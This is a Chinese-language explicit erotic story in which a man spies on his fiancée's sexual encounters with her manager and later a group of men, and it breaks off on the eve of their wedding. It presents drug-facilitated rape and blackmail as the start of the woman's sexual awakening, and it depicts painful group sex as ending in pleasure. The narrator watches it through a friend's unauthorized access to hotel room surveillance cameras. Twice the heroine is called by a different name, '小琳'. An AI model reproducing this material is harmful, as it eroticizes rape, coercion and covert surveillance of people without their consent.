图片载入中

迷失的未婚妻

特大字】 【大字】 【中字】 【小字

我的未婚妻叫袁雪银,26岁,身高1米63,长着一张娃娃脸,身材匀称,皮肤光滑细腻,一头披肩秀发,乖巧可爱。一对丰满白皙的乳房,尤其是两条雪白修长的美腿让我着迷。

我们已经热恋了两年,亲戚朋友们都觉得我们是天生的一对,我们下班都回各自的父母家,准备拿到我公司分的房子以后再结婚。

我和袁雪银在一次旅游中初尝了禁果,回来后,我们只要有时间、有地点,就会痴迷地做爱,但是袁雪银从来没有出现过情色文章所描述女人高潮的样子,所以我不知道她是否得到了满足,不过她对此也没对我说过什么。

一天中午,她到我办公室要我陪她逛街买东西,正好我在网上看色情小说,她跑到我背后才被我发觉,我赶紧关掉窗口,转过来一看,“原来是你啊,我还以为是老板过来了。”我向她埋怨道。

“你又在看那些了。”袁雪银娇嗔着说。

我摆出了一副厚脸皮的样子,她也没说什么,拖着我就上街了。

在路上,她突然问我什么是3P,我疑惑地把她看着。

“我刚才在你计算机上看到的,你把它给关了。”袁雪银说。

我于是耐心地给她解释了什么是3P,接着还说了4P、5P,甚至6P。

其实我在A片里最多只看到过4P,不过我发挥自己的想象力结合看过的小说,口若悬河地描述起来。

说着说着,我突然发现她脸红红地,眼神也有点迷离了,好像在想着什么。

等我讲完了,她低低地说:“有点儿变态哦!”看到她这副神态,我心里咯登一下,也不知是什么滋味。

到了商场里,买了点零食和乱七八糟的东西后,她说天气马上要转暖了,想买几双长统袜,我便陪她去丝袜部。她一头扎进花花绿绿的货架,我站在旁边欣赏来来往往的美女。过了一会,她结了帐,提着塑料袋走了过来。

我看到她急匆匆的样子,心中一动,说:“袁雪银,我看看你买的是什么?”她笑着说:“你一个大男人看什么看。”说完就拉着我要走。

“让我看看你的品味如何嘛!”我的好奇心大增。

她拿我没办法,只好和我到商场卖冷饮的地方找了个座,我抓过袋子就看,里面除了两双她在办公室必须穿的肉色连裤袜外,居然还有一双蕾丝花边的黑色长统丝袜,还有一条黑色的蕾丝吊袜带,我看得心跳加速:“好像不是给你自己买的吧?”她脸红了红说:“是啊,是给我自己买的,有什么奇怪的?”我心里又是咯登一下,但是也不好说什么,于是喝完水就一起走了。

当天晚上睡觉前,我躺在床上想着今天发生的这些事,觉得心里惴惴的,老是有什么东西堵在心头,怪不舒服的,于是开始胡思乱想,想着想着又想起了一件事:

她们公司的一个姓刘的部门经理一直贪恋她的美色,我去她办公室时经常看到那个刘经理在袁雪银的旁边说笑。上个星期部门调动的时候,他把袁雪银要到了他的部门,我早就听说那个刘经理不是什么好人,和社会上鬼混的人有来往,便提醒袁雪银不要和他过于亲密,还要注意自己的穿着打扮,不要太惹火。袁雪银让我放心,还说她挺讨厌那个刘经理,接着还顺便讽刺我心胸狭窄什么的。

想着想着,我心里很是不安,就这么迷迷煳煳地睡着了。

过了两个星期,四月上旬左右,我分的房子拿到了钥匙。我和袁雪银于是开始忙着看房子、规划装修的事了,我把那些怀疑又抛于脑后。

可有一天我们在建材市场看木料时,我手机刚好没电了,我便拿了她的手机回电话,结果在通话清单上发现上个星期五晚上8点过,有一个手机分别连续跟她通了三次话。她那些亲朋好友的电话我都熟,可是这个电话我从来没见过,我心里一凉,悄悄地把号码记了下来。

送她回家后,我用街边的公用电话拨了那个电话,对方是一把男声,懒洋洋地问:“喂?”是她部门的刘经理!我听过他说话,我马上就挂了。我站在街上不知该做些什么,这些事一件一件串起来让我觉得不对劲,我决定在这个星期五晚上去她公司看看。

(二)到了星期五,下班以后,我在街上的面馆里随便吃了点面,乱逛到天刚黑的时候,到了她公司大楼下,我决定不坐电梯,爬上9楼,主要是避免碰到她的那些女同事,叽叽喳喳的。

当我气喘吁吁地爬到了9楼,刚好碰到管理员,由于我经常去,他认识我,对我说:“你找袁雪银吧,她还没走。”我对他笑了笑,向袁雪银办公室走去。楼道空荡荡的,所有办公室都关着门,她的办公室门还开着,灯也亮着,我刚走到门口,她办公室的一个老大姐正好提着手提包出来,看到我,友善地对我说:“是你啊,正好我要回家了。袁雪银还没走,我门就不锁了,你在里面等她吧!”我点点头,走进她的办公室,在长沙发上坐了下来,伸出双腿放在沙发前的大茶几上松弛我酸痛的肌肉。

可能过了有五分钟吧,走廊传来了高跟鞋的声音,朝着这边过来了,我听出是袁雪银的脚步声,正要站起来去门背后吓一吓她,忽然听到另一个人从走廊另一边跑了过来,接着就是袁雪银嘤的一声:“讨厌!在走廊上就这样,快放手。”这时两人的声音已经到了门口,我迅速地躲到了长沙发的背后,偷偷地探出了头。

只见袁雪银被一个粗壮的男人从后抱住,男人的右手隔着白色衬衣揉搓着袁雪银丰满结实的乳房,左手撩开短裙,隔着肉色连裤袜摸着袁雪银的阴户,袁雪银闭着眼睛,唿吸急促。

男人用下身顶着袁雪银向沙发走来,到了茶几前,男人从背后一把将袁雪银推到茶几上趴着,转身就去反锁上门,接着把灯全部关掉,只剩下沙发前的落地灯,向袁雪银淫笑着走来。

借着灯光,我看得很清楚,这个男人就是袁雪银办公室的刘经理!我正想冲出去把姓刘的揪住暴打一顿,茶几上的袁雪银忽然翻过身坐起来,一边伸手去拉刘经理的西裤拉链,一边媚眼如丝地说:“你快点嘛,人家好痒哦!”这时我的心就像被一把大铁锤重重地砸了一下,隐隐作痛,我靠在沙发背后瘫坐着,脑海中一片空白。

“喔……哦……啊……好舒服啊……用力些……”袁雪银的呻吟声让我回过神来,我木然地又看过去。

袁雪银躺在茶几上,全身上下一丝不挂,一对圆滚滚的乳房随着胸部的起伏而微微颤动着,两个粉红色的乳头骄傲地立在那里,脱下来的灰色短裙扔在沙发扶手上,旁边还有袁雪银的肉色连裤袜和小内裤。

而刘经理则浑身赤条条地跪在她两腿间,贪婪地用他那肥厚的舌头吸吮着袁雪银流水潺潺的阴户,袁雪银两条光滑修长的玉腿挂在刘经理的肩膀上,脚上的高跟鞋随着刘经理一下重过一下的吮吸而晃动着。

袁雪银的双眼紧闭,白里透红的脸上还带着享受的微笑,红红的舌尖舔着干裂的嘴唇,娇声呻吟不已。

我面如死灰地看着这一切,心里却慢慢地有了一种感觉,它说不上是痛苦或快乐,有一点忌妒,有一点伤心,还有一点快感和期盼。

袁雪银在刘经理舌头的挑逗下,充血的阴唇泛着肉红色,小穴里流出了白色的液体,沿着阴道口向下面的肛门流了过去。

刘经理弯下头,舌头在袁雪银的菊门口划着圈,然后慢慢地一路扫了上去,把流下来的白色液体全部卷进了嘴。袁雪银双腿一下伸得笔直,蹬掉了高跟鞋,白嫩的脚趾不停地收缩着。

猛然,袁雪银惊叫一声,白眼一翻,浑身抖个不停,双腿向胸前弯曲,阴户使劲摩擦着刘经理的嘴,阴道里分泌的黏稠的白色液体像岩浆一样向外爆发。

刘经理更是双手紧紧抱着袁雪银的臀部,努力地用自己的鼻尖、嘴唇和舌头裹食着。袁雪银无意识地收缩着阴道,口中喃喃道:“哦……要死了……啊……不行了……”刘经理好像已经忍不住了,站起来把袁雪银翻至侧面,抓起她的一条腿扛在肩膀上,挺起那足有18公分长的大鸡巴对准袁雪银通红的阴户插了进去。

刘经理毫不留情地一插到底,袁雪银痛苦地叫了起来:“啊……不要……好痛啊……”可刘经理并没有想停下来的意思,依旧狂插不止。袁雪银阴道里晶莹通透的嫩肉被肉棒粗鲁地牵扯着,里面的血管好像就要被坚硬的龟头磨破了一样。

插了几十下后,袁雪银的表情渐渐从痛苦变成了享受,已被汗水打湿的秀发贴在额头,嘴角泛着笑意,一边用手使劲揉着自己的乳房,一边呻吟着:“好……快……大鸡巴真好……哦……哼……再进去点……喔……到子宫了……不要啊……”刘经理红着眼,喘着粗气,汗流浃背地抽插着,边大声地说着:“真紧……啊……啊……袁雪银……你这个骚货……夹得我好舒服……我要插死你……快说,喜不喜欢我的大肉棒?说……”袁雪银好像已经没有力气回答了,闭着眼,不停地喘息着。汗水把两人的阴毛都打湿了,混合着袁雪银不断涌出的淫水慢慢流到了茶几上。

沙发后的我第一次如此近距离的观看他人作爱,而且女主角是我深爱着的未婚妻,我的阴茎直直的在长裤里挺着,特别难受,看着刘经理那爽翻天的样子,我的脑袋里什么都没想,一片空白。

约莫过了十分钟后,刘经理抽插的频率明显加快,袁雪银咬着牙,扭着自己的下身,好像她阴户的某个角落的骚肉没有被照顾到似的。

忽然,刘经理虎吼一声,两眼圆睁,双手紧紧地抓着袁雪银的手腕和脚踝,疯狂地抽插着。袁雪银喘气的声音越来越急促,呻吟的声音也随着刘经理抽插的频率而加快:“哼……哼……哦……哦……喔……不行了……不行了……要来了……啊……啊……啊……”伴随着一声长时间的尖叫,袁雪银达到了高潮,美丽的脚趾猛的缩成一团,双手紧紧地捏着拳头,指甲由于过于用力而发白。

刘经理的括约肌也剧烈地收缩,将早已堆积在关口的精液狠狠地射向袁雪银阴道的深处,刘经理的屁股每夹一下,袁雪银就全身都因此而抽搐一下,我想起袁雪银每次都不厌其烦地让我去戴什么避孕套,心里早已平息的嫉妒感又强烈的升了起来,我咬了咬牙,闭上眼靠在沙发的背后。

过了一会,我听见拉拉链和穿皮带的声音,接着一个人影走向门口,开门走了。

我探头出去一看,刘经理已经不在了,袁雪银仍旧全身赤裸着躺在茶几上,通红的小穴里缓缓地流着白色的精液,滴到茶几上,混合着两人的体液,上面还漂浮着几根弯曲的阴毛。袁雪银睁着无神的双眼,小嘴微张,胸部上下起伏着。

忽然,袁雪银的电话响了,袁雪银用手支撑着茶几站了起来,步履蹒跚的走到办公桌前,拿起了电话,抽了几张面巾纸擦她黏乎乎的阴户。我便趁着袁雪银背对着我接电话,迅速地走出了她办公室,从楼梯口冲了下去。

(三)回到家,妈妈看到我的样子,以为我和袁雪银吵架了,过来安慰我,我不胜其烦,把门一关了事。

当天晚上,我失眠了。躺在床上,心里即悲又苦,有种想哭的感觉。我决定明天上午去她家看看。

第二天是星期六,我应付了妈妈几句后,吃了早饭,就打了出租车直奔袁雪银家。我坐在出租车上,思绪万千,到时候说什么好呢?思前想后,我决定随机应变,尽量不在她父母面前把这些事捅出来,免得惹老人家生气。

到了她家门口,刚要按门铃,她母亲提着菜篮子正好开门出来,看到我说:

“哟,那么早就来了。我去买菜,袁雪银昨晚加班累得不行,还在睡呢!你快进去吧,我走了。”我很礼貌地同她寒暄,目送她走了后,进了屋。

袁雪银的卧室门没有锁,我轻轻打开门,走了进去。袁雪银的卧室被她装点得像是女中学生的闺房,到处都是些毛茸茸的卡通玩具,甚至还有明星海报。对这一切,我是很熟悉的,当年她装修这间房子的时候,我曾陪着她跑遍全城去搜罗这些小玩意儿。

袁雪银静静地睡在她粉红色的单人床上,盖着史洛比图案的毛巾被,抱着一只玩具熊,睡得很香,微微上翘的小嘴唇让人有种想亲一亲的想法。我看着袁雪银纯洁无瑕的脸,脑海里浮现着昨晚办公室里那一幕。

坐在她的梳妆台前,看着镜子上贴着我和袁雪银的合影,相片里袁雪银带着幸福的笑容依偎着我。桌子上摊开的本子上记着几家装修公司的电话,看着这一切,让我心酸不已。

袁雪银“唔”的一声翻了个身,我看着脱在椅子上的灰色套装和肉色连裤袜,想着昨晚袁雪银的每一个动作、每一声呻吟,肉棒不由自主地硬了起来。一阵风吹过,挂在窗前的风铃清脆地响了,袁雪银从熟睡中醒了过来,她转过身,看到了傻站在那里的我,一把掀开被子,带着银铃般的笑声扑到了我怀里。

我闻着她的发香、抱着她温暖柔软的身体、听着她在我耳边吃吃地笑,顿时把心里所有的不快全部抛于九霄云外。

正在这时,门外传出了她爸的咳嗽声,袁雪银红着脸,吐了吐舌头,像泥鳅一样又钻进了被子。我转过来,尴尬地向她面带威严之气的老爸问好。

她爸走到门口对小琳说:“袁雪银,你快点穿好衣服,该起床了,都什么时候了。”说完,就拖着我去客厅同我讨论起房子的装修问题,结论不外乎年轻人办事不节约,铺张浪费之类的。我早就习惯了他的唠叨,频频颔首示意。

过了一会,袁雪银的妈妈买菜回来了,她爸终于去跟她妈说话去了,我万分解脱地走进了袁雪银的卧室。袁雪银穿着朴素的碎花连衣裙在收拾她的小提包,看见我走进来,笑颜如花地过来拉着我的手说:“今天我们去看厨柜吧,我以后要天天给你做早饭吃。”看着袁雪银无比真诚的样子,我心里百感交集,准备好的责备、羞辱等等之类的话都通通忘记了。

我心下决定,先不提那件事,只是怂恿袁雪银换个部门,再对她和刘经理的关系旁敲侧击一下,看看她表现如何,因为如说实话,我还是不想失去这么好的女友。

经过我对袁雪银一番很策略的谈话后,袁雪银向领导提出了换部门,领导也同意了。此外,和我谈起刘经理的时候,袁雪银也是撇撇嘴,一副对他很不屑的样子。

我稍微放心一些了,但过后在看A片的时候,想起那次刺激的近距离真人肉搏,却有些遗憾今后无法再观赏了。

五月中旬的一天下午,我的中学同学大勇约我出来办事。完事以后,我看还有一个小时就下班了,于是决定不回办公室,跟大勇找了家茶楼喝茶。

我们找了个靠窗的座位坐了下来,喝着喝着,我朝窗外随意一瞟,忽然看见袁雪银迎面走了过来,边走路边打手机。让我惊讶的是她穿着我从未见过的一条黑色紧身超短连身裙,腿上穿着一双黑色透明丝袜,脚上是一双黑色系带高跟鞋。

这么性感的袁雪银让我有点不相信自己的眼睛,可我看得很清楚,的确是我的未婚妻。我心跳开始加速,大勇也在目不转睛地看,我不敢面对大勇转身看我的眼神,给他说了声再见后,就冲出了茶楼,紧紧跟着袁雪银。

看着迎面走过来的路人色迷迷地盯着她看,甚至吹口哨,我心里既骄傲又隐隐作痛,想着一个月前在她办公室发生的事,不禁加快了脚步。

袁雪银打完手机后,在前面十字路口叫了部出租,我马上也叫了一部跟着她。

车在花园饭店门口停下了,她下车看了看四周,然后走进了饭店。

我远远地下了车,在饭店门口我看到她问了总台几句话就上了电梯,我立即给在花园饭店保安部工作的同学阿伟打电话让他下来。过了一会儿,他兴冲冲地向我走了过来:“你怎么站在外面啊,进来吧!”到了保安部的办公室,我让他出去问一下总台,袁雪银问的是什么。他回来说袁雪银问一个姓刘的先生的房间号,总台告诉她是1217房。我马上就明白里面将会发生什么事了,便要求阿伟把1217的房卡也给我一张。

他坚决不同意,但看我怒目圆睁,一副要跟他绝交的样子,便扳着我肩膀,小声地对告诉我:“这样吧,我带你去一个地方,但是你要发誓保守秘密,我帮你,你不要害我。”我想了想,同意了。

我跟着他从保安部办公室的里间左弯右拐地到了一个黑漆漆的房间门口,阿伟用钥匙打开了门,领着我进去。只见里面并排有五台大屏幕电视,旁边还有配套的扬声器,底下是一个工作台,上面有一些按钮和旋钮之类的东西。

阿伟把电源打开,按了几个键,屏幕上出现了1217房的画面,满室春光无情地显现在我眼前。

(四)只见一张大床上缠绕着四男一女,袁雪银只穿着黑色蕾丝花边吊袜带和黑色透明丝袜,上身赤裸,脚上的黑色系带高跟鞋也没脱,她靠在一个精壮男人的胸膛上,头向后仰着,正在跟那个男人热吻,两人的舌头交缠在一起,袁雪银白皙的喉头一动一动地吞咽着对方送过来的津液。

两个男人跪在袁雪银的身边,丰满的乳房被他们一人一个分享着,男人们用肥厚的舌头挑动袁雪银粉红色的乳头,两人的手在袁雪银的腹部和乳沟间来回抚摸着,她白皙的皮肤和男人黝黑粗大的手形成非常强烈的对比。

刘经理跪在袁雪银的两腿之间,把袁雪银的双腿扛在肩膀上,几乎用整张脸在袁雪银的阴户上上下左右地摩擦,袁雪银的阴户通红通红的,不时地有白色的淫水流出来,流到了刘经理的鼻尖、嘴唇和脑门上。刘经理的两手慢慢摸着袁雪银穿着黑色透明丝袜的美腿,感受着丝袜的光滑和美腿的肉感,袁雪银的下身不自觉地扭动着配合刘经理,发出销魂的呻吟声。

“唔……唔……”袁雪银的嘴被男人紧紧地封住,只能发出含混不清的声音。

我当时血轰地一下就涌上了头,虽然已经看过袁雪银和刘经理偷情,有了一些心理准备,但还是不敢相信眼前所有这一切。单纯可爱、已经同我谈婚论嫁的未婚妻袁雪银,竟然穿得像A片女主角一样同时和五个男人一起作爱!

我腾地站起来,想冲上楼去把他们从窗户上扔出去,可只是又有两个男人从旁边摸上了床,我一转念间,决定再看一下。我非常惊讶自己突如其来的冷静,可能是从自身的安全角度着想吧,我的阴茎已经不争气地硬了起来,内心也泛着一丝丝莫名其妙的快感,心里又痛又痒,像有虫子在到处钻一样。

只见其中一个拍了拍刘经理的背说:“老刘,该我们喝两口了吧!”另一个男人什么都没说,一把从刘经理肩头抢过袁雪银的一条玉腿就开始舔了起来。

说话的男人看到同伴已经上了,而刘经理正在忙着吸吮袁雪银的阴唇,没空回答他,于是他也抓过另一条腿开始舔了起来。两人从刚到大腿根的丝袜蕾丝边开始一直舔到脚踝处,接着不约而同地脱下袁雪银脚上的黑色高跟鞋,舌头在袁雪银的脚心来回地亲吻,他们的口水沾在黑色丝袜上闪闪发亮。

袁雪银的双腿被这两人拉开后,刘经理两手一空,就用右手食指慢慢地伸进了袁雪银已经湿得一塌煳涂的秘穴里来回抽动着,左手的中指一路摸下去一直到袁雪银的菊门处,开始试探性地刺激着那个我很少去碰的地方,而嘴唇则把袁雪银已经勃起的阴蒂紧紧含着,用舌头在阴蒂的头上划着圈。

这样一来,袁雪银的全身性感带同时被霸占,五个强壮的男人围在袁雪银身边,显得非常的拥挤。

袁雪银好像被刺激得快要发疯,她剧烈地摇着头,嘴挣脱了男人,大口大口地唿吸着,男人的口水从她的红唇边流下,她发出了我从未听到过的呻吟,近似于尖叫:“啊……不要……你们……停下来啊!好痒,要死了……快……啊……”她的全身扭动不止,彷佛想摆脱这群野兽一般。可是她动得越厉害,男人们的舌头、牙齿、嘴唇、手指的动作就越激烈,在这前所未有的强烈刺激下,袁雪银很快就达到了高潮。她大叫了一声,美腿一下一下地夹着,秘穴里涌出了一波又一波的淫水,刘经理张大嘴巴,像喝酸奶一样全部喝了进去,还发出了“咕唧、咕唧”的声音。

其它人可能也有些累了,都停止了各自的工作,把袁雪银平放在床上,袁雪银胸口剧烈起伏着,四肢大张地躺在床中央,闭着双眼享受着高潮的快感。

可能袁雪银的淫水有些黏稠,刘经理下床喝了几口水,我看到他满脸都湿漉漉的,下身一根大肉棒直挺挺地把内裤撑着,我不禁也摸了一下自己已经硬如钢棒的阴茎。不知为何,心里居然产生了一种想让这些人轮奸袁雪银的愿望,脑海里甚至出现了诸如刘经理为什么总喜欢替袁雪银口交这些问题。

这时,我的手机响了,电话是我妈打来的,她问我是否回去吃晚饭,我说晚上有饭局就应付了。关掉电话,我又朝屏幕上看去。

这时里面又是一番景像了,所有的男人都只穿着内裤,一个男人靠在床头,袁雪银趴在他的小腹下,身上的吊袜带被脱下甩在地上,只穿着丝袜正在用红红的小舌头温柔地舔着那个男人内裤的隆起部分,那里已经明显有点湿润,她的双手正慢慢地把男人的内裤往下拉。

她的身下躺着另一个男人,仰着头品尝着袁雪银肥美的阴户,双手揉搓着她匀称的臀部,其它四个男人站在旁边欣赏,还不时地表扬袁雪银的舌头灵活,发出阵阵的淫笑。

“哦……喔……”坐在床头的男子呻吟了起来,原来袁雪银已经把他的内裤脱到了膝盖,含住了他的龟头,用她的舌头熟练地上下舔着青筋暴涨的阴茎。那根肉棒足有18公分长,袁雪银的腮帮子鼓着,努力地想吞尽它,舌尖不时地刮着冠状沟,口水与龟头渗出的透明液体混合在一起发出淫邪的光芒。她一只手抓着阴茎的根部,另一只手轻轻搓着阴囊和睾丸。

袁雪银身下的男子把她的阴部紧紧贴在自己嘴巴处,舌头狂乱地在袁雪银的阴户中进进出出,袁雪银好像很受用,她的屁股乱扭起来,双腿不断地夹着男人的头,小穴里又开始流出了淫水,小嘴也时不时吐出肉棒,发出“哦……哦……”的呻吟声。

旁观的几个男人显然有点忍不住了,摩拳擦掌的都靠了过去,其中一个壮汉冲上去就把袁雪银拦腰抱起平放在床边,让袁雪银的头向上垂到了床外,接着脱下自己的内裤,把又粗又长的黑亮肉棒顶开袁雪银的红唇和牙齿,不顾一切地狂插了起来。

可能插得太深了,袁雪银的双腿举得高高的不停乱动,手也在使劲地推那个壮汉,壮汉于是调整了深度,袁雪银平静了下来,红唇吞吐着黑黑的肉棒。

两个男人上去抱住袁雪银的腿,隔着丝袜就开始舔;另两个男人上去牵着她的手握住自己的阴茎,袁雪银很懂事地用小手套弄着这两根大肉棒;最后刘经理扑到袁雪银的身上,大力地揉捏起袁雪银一对如羊脂般的乳房。

(五)袁雪银的欲望被挑了起来,额头、乳房、小腹都冒出了细汗,修长的美腿用力地伸直,她似乎觉得嘴里只有一根肉棒是不够的,把手上的两根肉棒也向自己的嘴边使劲地拉着。

这两根肉棒的主人好像并不愿意三根大鸡巴一起分享袁雪银的嘴,于是把袁雪银的手拿开,手扶着自己的肉棒,马眼在袁雪银的耳朵、鼻孔、脸颊上划着圈,把龟头上的分泌物涂在了袁雪银的脸上。

正在奸淫袁雪银嘴巴的壮汉显然受不了袁雪银灵活的舌头了,猛插了一阵后,紧紧搂着袁雪银的头,翻着白眼将自己的精液全部射在了袁雪银的嘴里,可能是量过多了,袁雪银推开他,抬起了身子咳嗽起来,嘴唇上有一抹淡黄色的精液。

袁雪银的咳嗽停止后,舔着袁雪银美腿的两人脱下了袁雪银的丝袜,把袁雪银的双腿抱起,一下子将袁雪银倒立在床上,袁雪银的嘴刚好可以吃到其中一人的大肉棒,当然她也不会放过,嘴边的精液还未擦干,就又一口包住了它。上面的男人把袁雪银的腿叉开,一人舔着袁雪银的阴唇,另一人则舔着袁雪银的菊门。

就这样舔弄了几分钟后,袁雪银的阴户又在大量地分泌淫水,屁眼也完全湿润了,这时袁雪银吐出嘴里的肉棒,呻吟着说:“快点……插我……不要再舔了……快点来吧……哦……受不了了……我要棒子……大棒子……”男人们听话地把她放下让她伏在床上,刘经理钻到了袁雪银的身下,把自己早就涨得要命的大肉棒塞进袁雪银的秘穴并且一插到底,袁雪银“啊”地一声抬起了上半身。叫声还没停止,一个男子就从后对准袁雪银从未开发过的屁眼,也是一插到底,这一下袁雪银的惨叫声似乎达到了100分贝。

另一个男人好像不想袁雪银的叫声让全楼的人都听到,抓住袁雪银的头,用自己的肉棒堵住了袁雪银的嘴。

三个男人毫无怜香惜玉的意思,反而像是在比拼是谁插得够劲一般大力地抽插着,袁雪银可能是第一次同时被三个男人奸淫,双手紧紧地抓着床单,鼻子里发出“唔唔”的声音。

剩下的两个男人看到袁雪银的一对乳房随着被抽插的节奏在空中一晃一晃的,心痒痒的上前一人抓住一个揉捏起来,刚才在袁雪银嘴里射精的壮汉在旁边哈哈大笑。

在袁雪银体内抽插着的三人配合得越来越默契,力量和频率保持着一致,甚至连叫声都是那么地相同:“哇……好舒服……这骚洞……真他妈的紧……哦……干死你这个小骚货……”这边袁雪银好像从痛苦的深渊慢慢地走进了幸福的天堂,她看来适应了身上所有的洞被同时抽插,脸上满是陶醉的表情,只是当乳房被搓得过重时,小琳会微微皱一皱眉头。

当袁雪银三个洞里的肉棒不停地抽插时,她的淫水、口水也跟着流了出来,乳房被揉得通红,全身汗如雨下。

就这样被干了十多分钟以后,首先射精的是插袁雪银屁眼的男人,他长长地呻吟着,阴茎在袁雪银的屁眼里一跳一跳的;接着就是干袁雪银嘴巴的男人,他同样闭着眼睛,呻吟着把黏稠的精液射进了袁雪银的喉咙里。

当两人把软软的肉棒抽离袁雪银的身体后,玩弄袁雪银乳房的两人又挺着自己的凶器填补了他们的位置。没过多久,刘经理在袁雪银小穴阵阵强烈的收缩下,也将热滚滚的精液射在了袁雪银的阴道里;早就休息好的那名壮汉上前推开刘经理,把自己硕大的肉棒狠狠地插进了袁雪银的阴户中。

由于刚才刘经理三人的精液把袁雪银的几个骚洞充份地润滑了,替补上阵的三人便很顺利地做着活塞运动,袁雪银的阴户和屁眼同时容纳着两根让我自惭形秽的大肉棒,她的脸颊通红、香汗淋漓,想大声呻吟却又被一根乌黑的肉棒填满了自己的嘴。

袁雪银唯一能做的事就是分泌自己身体里所有的口水、淫水和阴精,并且收缩所有被占据的洞穴,紧紧地夹着这些男人的龟头。可他们用力地在自己身体的各个深处射出精液后,下一波男人的疯狂抽插又在等待着她。

袁雪银在这五个强壮男人车轮战般的奸淫下,已经无力再去体味什么快感了,只能半睁着失神的双眼,任由他们的肉棒像走马灯一样的在自己的嘴、阴户和屁眼里反复抽插着,在里面留下或浓或稀的精液。

这时的袁雪银简直就是一头眼里只有性交的母兽,她不断地达到一个又一个的高潮。

终于,在最后一个男人把残余的一点点精液射进袁雪银的子宫以后,她才软软地倒在了一塌煳涂的床上,她的嘴在发麻,阴户肿痛,屁眼里的肌肉好像已经被撕裂,白色的精液从袁雪银身上的三个洞里潺潺流出,袁雪银像昏迷般的躺在床上。

刘经理坐在椅子里抽着烟,其余四个男人离开时把袁雪银的吊袜带、丝袜和高跟鞋都拿走做纪念了,只把那件黑色的紧身超短连身裙留给了袁雪银。

过了一会,刘经理把瘫软的袁雪银抱进了浴室,让她洗完澡后,又帮她穿上了裙子,扶着袁雪银走出了房间。

阿伟把机器关掉,转过头问我:“你怎么样,没事吧?”其实我在刚才的过程中似乎什么都没想,快感让我非常之兴奋,完全像看A片那样欣赏着,脑海里还不停地想象着那些男人粗暴蹂躏袁雪银的情景。

可我不能在朋友面前表现出来,于是很生气地说道:“阿伟,你看我该怎么办?”阿伟耸耸肩,说:“那要看你的意思,你想不想跟她挑明?”“算了,等我回去清醒一下再考虑。谢谢你的帮助,阿伟。”我诚恳地说。

阿伟送我出了饭店,我坐上出租车就离开了。

(六)我闭着眼睛坐在车后座,耳边响着袁雪银和男人们的呻吟,脑海里是袁雪银被三根肉棒抽插的情景,下身的小弟弟又挺立了起来。“我算是个男人吗?自己的未婚妻被轮奸,居然还如此的兴奋?”我揉了揉太阳穴,试图让自己清醒一下,司机从后视镜里可能看到了我的样子,试探着对我说:“小伙子,想不想轻松一下?”我突然不知哪里来的无名火,大吼道:“轻松个屁!你少他妈多管闲事,开你的车!”五大三粗的司机猛地一打方向盘,把车停在一个黑漆漆的巷口,跳下车,打开车门,一把就把我拖了出来摔到地上,接着那个司机扑上来,骑在我身上,老拳如雨点般落下。他发泄够以后,站起来踢了我一脚,骂骂咧咧地上了车走了。

我慢慢地走回家,当然免不了给老爸、老妈解释说什么“遭遇抢匪”之类的谎话。抹了一堆不知名的药水后,我坐在窗前发着呆,看着对面人家窗户上贴的囍字,想着那个莫名其妙扁我的司机和同时与五个男人作爱的袁雪银,想着我们那装修已经快完工的新房,想着袁雪银充满情欲的脸……我想来想去,哎,干脆就当什么事都没发生过,把房子装修好以后,再把这件事同她好好沟通一下吧!

六一儿童节那天,我们的房子正式完工,在装修公司结清装修款后,袁雪银兴高采烈地说:“走,去看家具。”我严肃地说:“袁雪银,我有些事想给你说。我们到一个安静点的地方。”袁雪银怯生生地看着从未如此严肃的我,只好答应了。

到了一个顾客稀少的茶坊,我开了个包间,带着袁雪银走了进去。等服务员把茶泡好离开后,我把门关上,坐在袁雪银的旁边,看着她。

她的眼神有一些惊慌,可能她猜到了我想跟他谈什么,可是却不敢开口。

我盯着她的眼睛,慢慢地说了四个字:“花、园、饭、店。”她身子震了一下,嘴动了动,想说什么,眼里噙着泪水。

就这样我们都没有说话,沉默了许久,袁雪银哽咽着讲了事情的经过。

原来第一次偷情发生在袁雪银调到刘经理所在部门的欢迎晚会后,袁雪银当时喝得有点多,刘经理主动送她回家,可实际上已经盯了袁雪银好久的刘经理却把她送到了自己租的房子里,并且把袁雪银迷奸了。深爱我的袁雪银清醒以后,由于怕被我知道了此事要同她分手,被迫在刘经理的劝诱加威胁下,答应和他保持性关系。

第二次是和刘经理一起到了一家KTV的包间,刘经理把袁雪银压在沙发上足足干了一个多钟头,直到袁雪银被插得昏死过去为止。可就在那次以后,袁雪银享受到了和我作爱没有达到过的高潮,自己性欲也空前地高涨,经常和刘经理在办公室、刘的房子里疯狂作爱。

刘经理老练地发掘了袁雪银的菊门,让袁雪银享受到了肛交的乐趣。在刘经理知道了袁雪银从未参加过多人群交而且对此有隐隐约约的向往后,就介绍了几个社会上的兄弟给袁雪银,也就是我在花园饭店看到的一切。

袁雪银红着脸讲完之后,又扑到我的胸膛上哭了起来,边哭边发誓说只爱我一人,她内心最深处的想法也只是从其它男人身上得到更多的性经验以便取悦我,而且她一直在吃避孕药,没有留下什么后患。我看她哭得梨花带雨的,想着她被迷奸也不是她的错,心里非常矛盾。

想了很久,最后,我心软了,我原谅了袁雪银,但要求袁雪银保证再也不与刘经理和他的那些朋友发生任何关系。袁雪银破涕为笑,一口答应了,紧紧地抱着我说一辈子忠于我。

当我们手牵手地从茶坊里走出时,我压抑了几个月的灰暗心情已经烟消云散了。

六月中旬左右,我们的家具、家电已经全部买齐搬进了新房,在我的同学大勇和阿伟等人的热心帮助下,婚礼的各项必需的工作也都已安排妥当,我们准备在6月26日这个吉利的日子举行婚礼。袁雪银这段时间表现很好,每天忙着我们婚礼的琐碎事情,也和刘经理等人没有了任何联系。

婚礼的前夜我跟大勇和阿伟一起在新房里做着明天当新郎的最后准备工作,看着镜子里人模狗样的我,一边和他们开着黄色玩笑,一边想着在她父母家做同样准备工作的袁雪银,她明天会是什么样子的新娘呢?

一切就绪后已经到凌晨2点钟,我困极了,和衣倒在床上就睡。谁知半夜突然醒了过来,没看到大勇他们两个,我站起来走到客厅,看到他们两个在阳台上抽烟聊天。

我正要走过去加入他们,却听到阿伟好像在说关于袁雪银的事,我想听听我未来的老婆在我的朋友心目中是怎么样的,便站在靠近阳台的门边仔细倾听,谁知一听之下,让我大吃一惊。

